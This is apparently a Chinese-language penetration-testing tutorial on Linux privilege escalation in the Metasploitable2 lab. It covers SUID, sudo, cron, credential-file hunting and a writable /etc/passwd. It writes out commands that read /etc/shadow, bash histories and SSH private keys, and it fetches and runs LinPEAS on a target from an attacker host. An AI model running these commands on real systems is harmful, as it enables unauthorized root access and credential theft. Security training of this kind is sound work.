在真實的滲透測試中,直接拿到 root 的情況其實很少。大部分時候你拿到的是一個低權限的 shell(www-data、daemon、tomcat55),接下來就需要提權(Privilege Escalation)——從低權限爬到 root。![]()
提權(Privilege Escalation):
從低權限使用者 → 取得高權限(通常是 root)
分為兩種:
垂直提權(Vertical)
低權限 → root
www-data → root
→ 這是我們今天的重點
水平提權(Horizontal)
同權限的不同使用者
user_A → user_B
→ 通常是為了取得更多資訊,再垂直提權
提權的思路
拿到 shell 之後的標準流程:
1. 我是誰? → whoami、id
2. 這是什麼系統? → uname -a、cat /etc/issue
3. 有什麼可以利用?→ 枚舉(Enumeration)
│
├── SUID 檔案
├── sudo 權限
├── cron job
├── 可寫目錄/檔案
├── 核心版本(kernel exploit)
├── 密碼/設定檔
└── 網路服務(只在 localhost 的服務)
│
4. 利用找到的弱點提權
提權手法二:SUID 檔案利用
SUID(Set User ID)是 Linux 的特殊權限位:
→ 當一個檔案設定了 SUID 位元
→ 不管誰執行它,都會以「檔案擁有者」的身份執行
例如:
-rwsr-xr-x root root /usr/bin/passwd
^ s = SUID
→ 任何人執行 passwd 都會以 root 身份執行
→ 因為修改密碼需要寫入 /etc/shadow
正常用途:passwd、ping、sudo 等需要特權的指令
被利用的方式:
→ 如果某個 SUID 程式有漏洞或設計不當
→ 攻擊者可以透過它以 root 身份執行任意指令
偵查
# 找出所有 SUID 檔案
find / -perm -4000 -type f 2>/dev/null
# 或者更詳細的格式
find / -perm -u=s -type f 2>/dev/null
提權手法三:sudo 權限濫用
sudo 允許使用者以其他身份(通常是 root)執行特定指令。
設定在 /etc/sudoers 中:
# 允許 msfadmin 以 root 身份執行任何指令
msfadmin ALL=(ALL) ALL
# 允許 www-data 以 root 身份執行 /usr/bin/vim,不用密碼
www-data ALL=(root) NOPASSWD: /usr/bin/vim
如果 sudo 設定過於寬鬆,就可能被利用來提權。
偵察
bash
# 查看當前使用者的 sudo 權限
sudo -l
# 如果需要密碼,試試已知的弱密碼
# msfadmin 的密碼就是 msfadmin
提權手法四:Cron Job 利用
原理
Cron 是 Linux 的定時任務排程器:
→ 在設定的時間自動執行指定的腳本或指令
如果某個 cron job:
1. 以 root 身份執行
2. 執行的腳本或目錄是低權限使用者可以修改的
→ 攻擊者修改該腳本,加入惡意指令
→ 等 cron 以 root 身份執行時,惡意指令就以 root 權限跑了
偵察
bash
# 查看系統的 cron job
cat /etc/crontab
ls -la /etc/cron*
# 查看各使用者的 cron job
crontab -l
ls -la /var/spool/cron/crontabs/
# 找可寫的 cron 腳本
find /etc/cron* -writable 2>/dev/null
提權手法五:密碼與設定檔挖掘
很多時候,提權不需要技術性的漏洞利用,
只需要在系統中「翻箱倒櫃」找到有用的資訊:
→ 明文密碼
→ 設定檔中的憑證
→ SSH 私鑰
→ 資料庫連線資訊
→ .bash_history 中的指令記錄
偵察
bash
# 查看 /etc/shadow(如果有讀取權限)
cat /etc/shadow
# 找包含 password 字串的設定檔
grep -ri "password" /etc/ 2>/dev/null
grep -ri "password" /var/www/ 2>/dev/null
grep -ri "password" /home/ 2>/dev/null
# 查看使用者的 bash 歷史記錄
cat ~/.bash_history
find /home -name ".bash_history" -exec cat {} \; 2>/dev/null
# 查看 SSH 私鑰
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# 查看 Web 應用的設定檔(通常有資料庫密碼)
cat /var/www/dvwa/config/config.inc.php
cat /var/www/mutillidae/config.inc
提權手法六:可寫的 /etc/passwd
在非常舊的或設定不當的系統上,
/etc/passwd 可能對所有使用者可寫。
如果可以寫入 /etc/passwd:
→ 可以新增一個 root 權限的使用者
→ 或者直接修改現有使用者的密碼
偵察
bash
# 檢查 /etc/passwd 的權限
ls -la /etc/passwd
# 如果顯示 -rw-rw-rw- 或類似的,代表任何人都可以寫入
自動化枚舉工具
手動枚舉太慢?可以用自動化工具一次掃完
LinPEAS
# 在 Kali 上下載
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# 開 HTTP server
python3 -m http.server 8888
# 在靶機上下載並執行
cd /tmp
wget http://<攻擊機IP>:8888/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
LinEnum
# 另一個經典的枚舉腳本
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t
小結
提權是滲透測試中從「拿到入口」到「完全掌控」的關鍵步驟。在 Metasploitable2 上,我們學到了六種主要的提權手法: